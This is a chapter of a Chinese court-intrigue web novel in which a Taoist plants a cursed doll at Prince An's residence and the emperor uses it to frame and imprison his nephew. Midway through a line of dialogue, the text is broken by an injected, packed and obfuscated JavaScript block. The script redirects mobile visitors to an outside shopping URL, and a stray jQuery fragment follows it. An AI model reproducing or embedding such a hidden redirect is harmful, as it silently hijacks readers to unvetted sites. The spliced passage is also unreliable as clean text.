“分开,查!”
张虚之一挥手,身后带着禁军便齐入了王府,散开四处搜查。
张虚之没有立刻去调查,反而从怀中拿出了一个罗盘,四处走走,最终确定了一个方向。
他顺着罗盘指针的方向,一路寻去。
卫明昭目光紧盯着张虚之,看着他故弄玄虚,虽然他们一家没有做这件事,但内心还是不由得紧张。
她垂下来的手无意识地握紧着,一只手滑过她的手背,掰开她紧握着的手,与她十指相连,防止她用力伤了自己。
“阿秀。”她没有转身,便知道来者何人。
郁秀看着这气氛没有开口,只是与她并肩而站,相扣的手微微用力,以做安抚。
郁秀陪在身边,让她躁动的心很快平静了下来。
她牵着阿秀,紧紧跟着张虚之,他动她也动,他停她也停,直到来到一棵桂花树前。
这棵桂树是前大将军荀质亲手所栽,距今已有几十年了。
卫琮对于外公亲手所种的这棵树很是珍惜爱护,时常亲自打理。
这棵桂树长得极好,等到秋天桂花挂满枝头,父王会采些树上的花制成香囊,送给母妃、她、还有阿秀三人。
父王还会亲自下厨,用这年头一茬的桂花做母妃最爱吃的桂花糕。
张虚之看着眼前的桂树,很是满意。
桂树位于王府的东南方向,可聚财纳福,如今变福为祸,何其有趣。
“来人,挖!”张虚之一声令下,禁军便拿着铁锹去挖这棵桂树。
“等一下!”卫明昭看见他们要挖这棵桂树,急忙冲进去挡在前面。
“世子殿下此举为何,莫非要阻挡皇命不可?”张虚之看见突然挡在前面的卫明昭,脸略有些沉,语气中带着压迫。
卫明昭连忙摇头,开口解释:“自然不是,只是此桂树养了几十年,才堪堪长成如今这模样,我只是希望汝等挖掘时能小心一些,莫伤它的根脉。”
张虚之听到他的这段话,轻笑了一声:“殿下仁善,对一草一木都能如此关爱,贫道远不如也,放心,此木死不了。”
他眼神示意禁军把卫明昭请了出去。
自己也拿着一根铁锹在桂树旁挖着。
他目光示意身后紧跟着的两个护卫,让他们挡着点安王府的人。
然后宽大的衣袖中的桃木人偶快速滑落到手中,然后趁其不备放到刚刚挖的坑中。
张虚之他少时修道,苦练剑法,身手自是轻盈敏捷。
放一个人偶不让人发现,自然是轻轻松松的。
他用铁锹把人偶往土里扒拉两下,假装挖出人偶。
“这是什么?”张虚之看见人偶,神情惶恐惊讶。
他颤巍巍地从泥土中捡起人偶,看见上面的名字还有生辰八字,直接惊得腿软,身形晃了晃。
“来人!封锁安王府。”他看着人偶惊叫出声。
“不可能,这一定是有人诬陷的!”卫明昭看见这个人偶,满脸的不可思议。
张虚之只是撇了他一眼,语气冷漠:“我只负责找,冤枉与否,世子殿下还是等到陛下派人来查再说吧!”
他留下禁军看守安王府,自己则拿着木偶,急匆匆赶回皇宫。
“陛下,贫道不负所托,找到了让陛下经常生病的缘由。”张虚之一迈入明堂,匆匆行了个礼,就举起手中的木偶。
卫长盛看见那个木偶,面上震怒,心中却在暗喜,看来计划一切顺利。
这场大戏的高潮即将开始。
“拿上来。”声音喜怒难测。
一旁的侍卫小心地从张虚之手中接过木偶。
他眼神扫过手中的木偶,看见银针扎着的名字,面色一僵,身上的汗毛都被吓得竖了起来。
侍卫浑身僵直的把木偶递到皇帝面前。
卫长盛低头看着这个木偶,上面贴着自己的名字和生辰八字,银闪闪的银针透过名字和生辰八字,直刺死穴之处。
他的脸色勃然一变,面目赤红充血,不断的喘着粗气,一副气急的模样。
他手紧紧攥着木偶,狠狠拔掉上面的银针,撕碎了上面贴着的纸条。
卫长盛面色愤怒,内心却平静地巡视着下面的朝臣,想要从中窥探一丝他们的想法。
能站在这殿中的大臣可没有一个简单的家伙,哪个不是一肚子的心机,纵使心有异动,神情上也不会露出一丝破绽。
他们面色都是诚惶诚恐,一个比一个能演。
卫长盛今日可不是来看大臣们演戏的,他直接转入正题:“张真人是从何处找到这个木偶?”
张虚之撇了一眼卫琮,才犹犹豫豫地开口:“贫道是在安王府中找到的。”
卫琮听到安王府三个字,猛地转头,眼睛死死盯着张虚之,满脸不敢置信。
竟然还是没有防住,他这是要置他于死地啊!
卫琮“扑通”一声,双膝跪倒在地,悲泣哭诉:“陛下明察,臣对陛下忠心耿耿,绝不敢有此邪念,必是有人栽赃诬陷。”
他眉头紧锁,嘴唇微颤,肩膀微微耸动,眼眶中积蓄的泪水终究还是落下,整个人散发着一种被冤枉的委屈。
卫琮跪步向前,爬到最前面,嗓音哽咽:“侄儿从小学圣人之道,知道孝为德本,在于尊亲,父亲离世之后,我对诸叔父,如事亲父。”
“如今至亲长辈一一离世,十六叔也疯了,我能够依赖的长辈只有八叔了,我怎会以邪道谋害亲叔父,还望八叔信一信侄儿。”
他一边说着,一边头重重叩在大殿的砖面上,额头瞬间青红一片。
卫琮虽然低调,不与人结交,但毕竟也曾带兵出征,监国理政,还是有不少大臣心向于他。
“陛下,安王谦谦君子,待人宽厚,处事光明磊落,绝不可能行厌胜之术,还望陛下明察!”御史中丞出列为卫琮开口辩白。
“臣赞同御史中丞之言。”
“臣附议!”
“臣附议!”
大殿中站着的两旁臣子,陆续有人出列附议,有文有武,或是真心,或是为了投机押宝,一时倒是有不少人开口求情。
卫长盛看着跪倒在地一脸凄惨的卫琮,又扫了扫出来求情的大臣,他没有即刻定罪,目光看向了张虚之。
“你从王府何处挖出来的这个木偶?”
“回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671965|206507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
禀陛下,贫道循着东南方向一路查到王府,到了王府又以罗盘寻路,最终来到了王府东南角的一棵桂树下。”
“桂树乃是吉木,栽种在庭院可以用来聚财辟邪,树身当环绕一股清气才对,可我来到此木前,却发现此桂树周身萦绕着一股煞气,当是有阴邪之物影响。”
“我亲自挖掘,最终在树下挖到了这个用于厌胜的人偶。”张虚之细细回报着自己的寻找经历。
“东南角的桂树。”卫长盛口中重复着这几个字,一步一步走下台阶,来到卫琮面前。
“我记得当年父皇登基,封荀质为禁军统领,并把这座府邸赐予了他,当日荀质之妻也正好怀孕,他万分高兴,亲手在王府东南角种下了这棵桂树,朕记得没错吧?”
“对,此树确为外祖父所种。”卫琮开口回答,声音涩然。
当时祖父登上皇位,外祖父加官进爵,外祖母又有生育,一时三喜临门,外祖父就亲手种下这棵桂树庆祝。
可是当年的喜事,后来也都变成了坏事,祖父失了本心,外祖父受到了祖父的猜忌,全族蒙难,小舅舅出生不足五岁便夭折了。
卫长盛伸手将卫琮拉了起来,两人面对着面站着,卫长盛满脸疑惑的看着他。
“我记得你对这棵桂树很是爱护,还曾经向园苑官请教种树的技巧,你说你是冤枉的,那你能否告诉叔叔,何人能在你的眼皮底下埋个木偶来陷害你?”
卫琮无力的垂下了头颅,没有直视皇帝:“侄儿不知。”
“不知?哈哈哈哈!”卫长盛被他这个回答给逗笑了,又瞬间收起笑脸,指着他厉声喝斥,“你说你不知,你的王府你不知道?”
“你们都说安王是谦谦君子,让朕信他,还他一个清白,可他却一问不知,这让朕如何还他清白?”
他的目光扫视着刚刚出列求情的众人,众人纷纷低头。
“当年父皇驾崩之际,嘱托我照顾好侄儿还有三个弟弟,朕登基之后不敢忘先皇之言,对四人皆多加恩赏。”
“可你们是如何待我的?”卫长盛猛然转身,双手紧紧掐着卫琮的肩膀。
“嘉王欲杀我,惠王要夺我皇位,平王倒是对我这个哥哥乖顺,可却为了一女子陷入疯魔,丢尽了皇家的脸面。”
“你!我最疼爱的侄儿。”他的脸凑近,满带愤怒地看着卫琮,“我对你也算不薄啊!”
“我如今膝下无子,把你当做继承人来培养,让你多此次替我监国,可你……你却如此辜负于我,真是令我这个当叔叔的心寒啊!”
卫长盛拽着卫琮靠近那龙椅,一把把他摁到龙椅上。
“陛下!”卫琮如被针刺,一下子站起来,跪在他的脚下。
卫长盛神色癫狂,嘴角挂着嘲讽的笑意,他坐在属于自己的皇位上,眼神锐利地看着他。
“这皇位不是你心心念念的吗?你不惜以厌胜之术谋害你的亲叔叔,现在我让你坐,你怎的不坐了?”
“陛下!臣绝无二心,此事确实是冤枉的。”
“你还在狡辩!”卫长盛一脚将他踢倒在地,恨恨地看着他,“来人,把卫琮给我关入大牢,没有朕的旨意,任何人不许见他。”